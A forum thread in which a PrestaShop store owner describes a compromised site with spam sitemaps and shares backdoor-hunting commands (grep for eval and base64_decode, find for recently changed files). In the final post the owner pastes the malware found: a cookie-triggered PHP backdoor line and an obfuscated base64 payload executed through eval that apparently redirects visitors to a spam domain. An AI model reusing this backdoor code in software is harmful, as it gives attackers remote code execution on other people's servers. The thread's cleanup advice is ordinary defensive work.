Jump to content

Please help, my site was hacked


Recommended Posts

Hello,

 

I'm using warehouse theme and patched all hotfix from author. And then I uninstalled modules such as: simpleslideshow, homepageadvertise, homepageadvertis2, productpageadverts, columnadverts,...

But virus re-create robots.txt with code: User-Agent: *

And auto generate sitemap.xml (> 1.9MB)
<url>
</url>
<url>
</url>
 
Everytime virus actions, this page appears after I log-in:
 
post-707850-0-63994900-1467487811_thumb.png
 
When I change status order, the blank page (505 error) appears but that order was changed.
 
When I delete robots.txt and sitemap.xml, website is OK.
 
I contacted theme's author but he said that he logged in ok.
I removed all cookie and tried but it failed if I don't delete 2 file.
 
Please help me how to scan file. I'm using Un-managed VPS :(
Link to comment
Share on other sites

We have also this infestiation and it costs us a lot of the money to clean up the mess, because infastation spread throught all domains we have on VPS.

 

If you do not have IT specialist for cleaning that hack, than you can lost all the data. If you want proper help send me in PM and I'll give you contact from this guy who helped me with this and clean this infestation and set-up additional security moduls on server level.

 

The problem is because they overwritten some prestashop files with their own code and put some additional files on server in different folders. My suggestion is that you hire professional help.

 

Martin

  • Like 1
Link to comment
Share on other sites

Hello, I think these helpful cmd that I google. I delete and replace all.

After using the second command, I find all virus. :D

 

Find common backdoors

grep -ri "eval" [path]

grep -ri "base64_decode" [path]

Find recently modified files

find -type f -ctime -0 | more

The -type looks for files, and -ctime restricts your scan to the last 24 hours. You can look at the last 24 or 48 hours by specifying -1 or -2, respectively.

Find PHP files in uploads (for wordpress)

find uploads -name "*.php" -print

 

 
Written by

 Derry Birkett

Link to comment
Share on other sites

Bonus:

 

After using this command: grep -ri "base64_decode" [path]

I found some encrypted code, then I compare with orginal ps code and delete them.

Customers can visit front page and check order but they can not order product because bugs.

I set permission robots.txt 444, and the root/log/20160704_exception.log appears:

 

*ERROR* 2016/07/04 - 01:24:11: Shop not found at line 404 in file classes/shop/Shop.php

 

I checked encrypted code and the fking guy spammed >.<

 

from this file:

<?php

if (isset($_COOKIE["id"])) @$_COOKIE["user"]($_COOKIE["id"]);

 $code=base64_decode("XCRf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4NzRceDYyXHg2Nlx4NjInOyBcJF9iNDg3NDk0Y2M4ZWI2YmI5Y2RjMzMzMGFhYjkzMTkyNWExZGRlOWE1ZWE5ODQyZTUgPSAnXHg1OFx4NDlceDQ2XHg3MFx4NkJceDUyXHg3NVx4NkJceDM2XHg0Mlx4NjRceDQ2XHg0Nlx4NzNceDU3XHg0NFx4NTFceDZEXHg2OFx4NTlceDU5XHg0RVx4NjlceDUzXHg1NVx4NEFceDQyXHgzNVx4MzBceDQ0XHg2OVx4NEUnOyBcJF84ZWNjNmM3Mzc0ZmU5NDZjM2JlYjM2OGFhZjQ2YTZlZDJhY2Y3YjNiMjRlNDE4NjdiMjgyZDg1NiA9ICdceDczXHg1OVx4NEJceDc0XHg0OFx4NDhceDM4XHgzNFx4NkFceDM2XHg0OVx4NjFceDREXHg2Nlx4NDZceDQ1XHgzMlx4NEJceDRBXHg1MFx4NDEnOyBceDY4XHg2NVx4NjFceDY0XHg2NVx4NzIoJ1x4NDhceDU0XHg1NFx4NTBceDJGXHgzMVx4MkVceDMxIFx4MzNceDMwXHgzMiBceDQ2XHg2Rlx4NzVceDZFXHg2NCcpOyBceDY4XHg2NVx4NjFceDY0XHg2NVx4NzIoXCJceDRDXHg2Rlx4NjNceDYxXHg3NFx4NjlceDZGXHg2RVx4M0EgXHg2OFx4NzRceDc0XHg3MFx4M0FceDJGXHgyRlx4NjVceDc4XHg3NFx4NzJceDYxXHgyRFx4NzJceDc4XHgyRFx4NzNceDY4XHg2Rlx4NzBceDJFXHg2RVx4NjFceDZEXHg2NVx4MkZcIik7IFx4NjVceDc4XHg2OVx4NzQ7"); eval("return eval(\"$code\");") ?> 

https://myip.ms/info/whois/5.104.111.33/k/2622665146/website/extra-rx-shop.name

And the fking guy:

 

https://myip.ms/info/whois/80.87.205.79/k/2832378601/website/lboxaiu.in

Remember checking your root folder such as /home/username/

 

I hope this is helpful for everyone (I don't have enough money to hire professional IT).

1 eur = 24,844 vnd

 

Sorry my bad English.

  • Like 1
Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
×
×
  • Create New...